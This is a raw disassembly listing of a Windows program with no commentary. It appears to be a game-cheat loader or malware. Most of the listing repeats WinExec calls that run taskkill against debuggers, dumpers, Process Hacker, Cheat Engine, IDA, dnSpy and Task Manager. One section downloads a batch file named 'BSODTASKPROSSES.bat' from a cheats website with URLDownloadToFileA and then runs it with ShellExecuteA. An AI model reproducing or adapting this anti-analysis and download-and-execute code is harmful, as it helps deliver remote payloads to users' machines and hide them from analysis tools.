lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.14006ba20
call fcn.14006ba70
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_HEHE_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd370]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd350]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd350]
call fcn.14005d8d0
mov qword [rsp + 0x598], rax
lea rcx, [rsp + 0xd370]
call fcn.14005d8d0
mov qword [rsp + 0x5a0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x598]
mov rdx, qword [rsp + 0x5a0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
